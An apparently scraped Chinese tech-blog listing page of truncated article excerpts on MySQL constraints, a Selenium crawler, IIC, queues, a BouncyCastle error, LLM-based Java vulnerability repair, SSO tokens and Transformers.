MySQL – 表的约束 文章目录 MySQL -- 表的约束一、表的约束1.空属性2.默认值3.列描述4.zerofill5.主键6.自增长7.唯一键8.外键 一、表的约束 真正约束字段的是数据类型&#xff0c;但是数据类型约束很单一&#xff0c;需要有一些额外的约束&#xff0c;更好的保证数据的合 法…

使用Selenium和Java编写爬虫程序

以下是一个使用Selenium和Java编写的音频爬虫程序&#xff0c;该程序使用了proxy的代码。请注意&#xff0c;这个示例需要在IDE中运行&#xff0c;并且可能需要根据您的系统和需求进行调整。 import java.io.IOException; import java.util.List; import java.util.concurrent…

PYTHON快捷键合集!学会让你成为大一最靓的仔

前言 大家好&#xff0c;我是艾登&#xff0c;一个始于JAVA终于PYTHON的老程序员&#xff0c;学习代码固然重要&#xff0c;但是在职场上能够知道打代码的各种快捷键的手法能够让你事半功倍&#xff0c;现在就由我来向大家介绍一下python各种快捷键的用法。 如果觉得对你有帮助…

机器学习(python)笔记整理

目录 一、数据预处理&#xff1a; 1. 缺失值处理&#xff1a; 2. 重复值处理&#xff1a; 3. 数据类型&#xff1a; 二、特征工程: 1. 规范化&#xff1a; 2. 归一化&#xff1a; 3. 标准化(方差)&#xff1a; 三、训练模型&#xff1a; 如何计算精确度&#xff0c;召…

浅谈IIC总线通信协议

IIC IIC&#xff1a;集成电路总线(Inter-Integrated Circuit) 快速&#xff1a;400kbit/s 高速&#xff1a;3.4Mbit/s 速度由 SCL 决定&#xff0c;上升沿斜率受上拉电阻和等效电容影响。 物理层 两线式串行总线&#xff0c;可发送和接收数据。 数据线&#xff1a;SDA 时钟线…

栈和队列(2)

目录 &#x1f341;一、链表的概念 &#x1f341;二、针对本文章给出的几点注意事项&#xff1a; &#x1f341;三、队列的实现 &#x1f315;&#xff08;一&#xff09;、代码定义 注意&#xff1a; &#x1f315;&#xff08;二&#xff09;、初始化 &#x1f315;&am…

java.java.lang.NoSuchMethodError: org.bouncycastle.math.ec.ECFieldElement

目录 Java运行时异常:行时找不到指定的方法 1.前言2.原因2.1项目中的版本有冲突2.2项目中某个包缺少bouncycastle依赖 总结参考 1.前言 java.lang.NoSuchMethodError: org.bouncycastle.math.ec.ECFieldElement$Fp.(Ljava/math/BigInteger;Ljava/math/BigInteger;) java.lang…

(PC+WAP)照明科技类网站模板 LED灯具照明网站源码下载

(PCWAP)照明科技类网站模板 LED灯具照明网站源码下载 PbootCMS内核开发的网站模板&#xff0c;该模板适用于照明科技网站、灯具照明网站等企业&#xff0c;当然其他行业也可以做&#xff0c;只需要把文字图片换成其他行业的即可&#xff1b; pcwap&#xff0c;同一个后台&#…

【网安大模型专题10.19】论文6:Java漏洞自动修复+数据集 VJBench+大语言模型、APR技术+代码转换方法+LLM和DL-APR模型的挑战与机会

How Effective Are Neural Networks for Fixing Security Vulnerabilities 写在最前面摘要贡献发现 介绍背景&#xff1a;漏洞修复需求和Java漏洞修复方向动机方法贡献 数据集先前的数据集和Java漏洞Benchmark数据集扩展要求数据处理工作最终数据集 VJBenchVJBench 与 Vul4J 的…

SSO 系统设计_token 生成

SSO 系统设计_token 生成 目录概述需求&#xff1a; 设计思路实现思路分析1.增加依赖2.代码编写3.测试 参考资料和推荐阅读 Survive by day and develop by night. talk for import biz , show your perfect code,full busy&#xff0c;skip hardness,make a better result,wai…

IT行业职场走向,哪些方向更有就业前景?——IT行业的发展现状及趋势探析

文章目录 每日一句正能量前言IT技术发展背景及历程IT行业的就业方向有哪些&#xff1f;分享在IT行业的就业经历后记 每日一句正能量 如果你认为你自己无法控制自己的情绪&#xff0c;这就是一种极为严重的不良暗示。 前言 在信息量浩如烟海、星罗棋布的大数据时代&#xff0c;…

深度学习第四阶段:NLP第二章 Transformer学习笔记

引言1&#xff1a;什么是注意力机制 参考我的一篇文章&#xff1a;https://blog.csdn.net/weixin_42110638/article/details/134011134?csdn_share_tail%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22134011134%22%2C%22source%22%3A%22weixin…

优优嗨聚集团:抖音外卖,美食与文化的完美结合

在今天的数字化时代&#xff0c;外卖行业正在迅速发展&#xff0c;而抖音外卖的出现&#xff0c;更是引领了外卖行业的新潮流。抖音外卖不仅满足了人们对美食的追求&#xff0c;还让人们在享受美食的同时&#xff0c;感受到了浓厚的文化氛围。 抖音外卖是抖音平台推出的一项全新…